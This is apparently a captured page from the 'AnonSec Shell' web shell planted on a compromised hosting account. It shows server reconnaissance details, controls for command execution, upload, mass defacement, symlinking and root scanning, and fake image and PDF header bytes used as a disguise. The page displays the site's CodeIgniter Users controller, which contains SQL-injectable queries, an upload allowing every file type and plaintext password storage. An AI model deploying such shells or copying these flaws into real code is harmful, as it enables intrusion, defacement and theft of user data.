ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 82.197.83.129  /  Your IP : 216.73.216.166   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u489457460 ( 489457460)
PHP Version : 7.3.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u489457460/domains/syoft.com/public_html/blogs/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u489457460/domains/syoft.com/public_html/blogs/application/controllers/Users.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Users extends CI_Controller { 
   public function __construct() 
    {
         header ("Expires: ".gmdate("D, d M Y H:i:s", time())." GMT");  
		header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");  
		header ("Cache-Control: no-cache, must-revalidate");  
		header ("Pragma: no-cache");
        parent::__construct();		
        $this->load->model("Common_model");
    }
  public function login_check()
	{
	 $admin_id=$this->session->userdata('admin_id');	
     if($admin_id=='')
	 {
       redirect(base_url().'admin');   
     } 
		
		
	}
		public function log_out()
	{
	 $this->session->sess_destroy();
	 redirect('admin/index');
	
	}
	
	public function users_list()
	{  
	    
		$this->load->view('admin/users_list');
	}
	public function select_categories()
	{
		$id = implode(',',$this->input->post('id'));
		$q=$this->db->query("SELECT sub_category_name,id FROM `sub_categories` where status='1' and category_id in($id)");
         $res = $q->result_array();
		 echo $cat='';
		 foreach($res  as $res1)
		 {
			 $cat.='<option value='.$res1['id'].' >'.$res1['sub_category_name'].'</option>';
		 }
		 echo $cat;
		 exit;
	}
	public function delete_record()
	{
		$id = $this->input->post('id');
		$table = $this->input->post('table');
		$this->db->where('user_id', $id);
		$this->db->delete('users');
		 $data['status']=1;
		 $data['msg']='Record Deleted Successfully';
	     echo json_encode($data);
		 exit;
	}
	public function edit_professional()	
	{		
	$id = $this->input->post('id');
    $q=$this->db->query("SELECT * FROM `users` where user_id='$id'");
    $data['view_data'] = $q->row_array();
	 $q=$this->db->query("SELECT * FROM `categories` where status='1'");
    $data['categories'] = $q->result_array();
	$cat_id=$data['view_data']['category_id'];
	$q=$this->db->query("SELECT sub_category_name,id FROM `sub_categories` where status='1' and category_id in($cat_id)");
    $data['sub_categories'] = $q->result_array();
	$this->load->view("admin/edit_professional",$data);
	} 	
	
	public function update_status()
	{
		$id = $this->input->post('id');
		$table = $this->input->post('table');
		$status = $this->input->post('status');

		$data['status']=$status;		

		$this->db->where('user_id', $id);
		$this->db->update('users', $data);
		 $data['msg']='Record Deleted Successfully';
	    echo 1;
		 exit;
	}
	public function datatable()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'user_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		$serach_by=' where is_professional=0';
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		
		
	   
		//echo "SELECT * from categories $serach_by $order_by $limit_cond";exit;
		$result_data = $this->db->query("SELECT * from users $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(user_id) as datacount from users $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);

		foreach($result_data as $res) {
		
		$checked='';
		if($res['status']==1)
		$checked='checked';
	   
		$result['aaData'][$key][] = $res['first_name'];
		$result['aaData'][$key][] = $res['last_name'];
		$result['aaData'][$key][] = $res['email'];
		$result['aaData'][$key][] = $res['phone'];
		$result['aaData'][$key][] = $res['city'];
		$result['aaData'][$key][] = '<label class="switch changestatus" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="categories" data-did="'.$res['user_id'].'">
          <span class="slider round"></span>
        </label>';
				
		$result['aaData'][$key][] = date('F,d,Y',strtotime($res['added_date']));	
		$result['aaData'][$key][]='
		<a class="btn btn-danger btn-sm text-white delclass" data-did="'.$res['user_id'].'" data-table="categories" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	function seo_friendly_url($string)
	{
    $string = str_replace(array('[\', \']'), '', $string);
    $string = preg_replace('/\[.*\]/U', '', $string);
    $string = preg_replace('/&(amp;)?#?[a-z0-9]+;/i', '-', $string);
    $string = htmlentities($string, ENT_COMPAT, 'utf-8');
    $string = preg_replace('/&([a-z])(acute|uml|circ|grave|ring|cedil|slash|tilde|caron|lig|quot|rsquo);/i', '\\1', $string );
    $string = preg_replace(array('/[^a-z0-9]/i', '/[-]+/') , '-', $string);
    return strtolower(trim($string, '-'));
    }
	public function save_data()
	{
		
		
			$first_name = $this->input->post('first_name');
			$last_name = $this->input->post('last_name');
			$user_slug= $this->seo_friendly_url($first_name.$last_name);			
			$system_array=array('first_name'=>$first_name,'last_name'=>$last_name,
			'user_slug'=>$user_slug,			
			'status'=>$this->input->post('status'),
			'about_user'=>$this->input->post('about_user'),
			'category_id'=>implode(',',$this->input->post('category_id')),
			'sub_category_id'=>implode(',',$this->input->post('sub_category_id')),
			'price_range'=>$this->input->post('price_range'),
			'email'=>$this->input->post('email'),
			'password'=>$this->input->post('password'),
			'city'=>$this->input->post('city'),
			'address'=>$this->input->post('address'),
			'phone'=>$this->input->post('phone'),
             'is_professional'=>1,				
			'added_date'=>date('Y-m-d H:i:s')


			);
				if($_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/professional_images/';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = $date.$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();

			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/professional_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 280,
			"height"		   => 170	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		
		$system_array['user_image']=$banner_image;
		}
		 $this->db->insert('users',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	
		public function update_data()
	{
		
		   $user_id = $this->input->post('user_id');
			$first_name = $this->input->post('first_name');
			$last_name = $this->input->post('last_name');
			$user_slug= $this->seo_friendly_url($first_name.$last_name);			
			$system_array=array('first_name'=>$first_name,'last_name'=>$last_name,
			'user_slug'=>$user_slug,			
			'status'=>$this->input->post('status'),
			'about_user'=>$this->input->post('about_user'),
			'category_id'=>implode(',',$this->input->post('category_id')),
			'sub_category_id'=>implode(',',$this->input->post('sub_category_id')),
			'price_range'=>$this->input->post('price_range'),
			'email'=>$this->input->post('email'),
			'password'=>$this->input->post('password'),
			'city'=>$this->input->post('city'),
			'address'=>$this->input->post('address'),
			'phone'=>$this->input->post('phone'),
             'is_professional'=>1,				
			'added_date'=>date('Y-m-d H:i:s')


			);
				if($_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/professional_images/';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = $date.$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();

			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/professional_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 280,
			"height"		   => 170	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		
		$system_array['user_image']=$banner_image;
		}
		$this->db->where('user_id', $user_id);
		$this->db->update('users', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}

	
	
}

Anon7 - 2022
AnonSec Team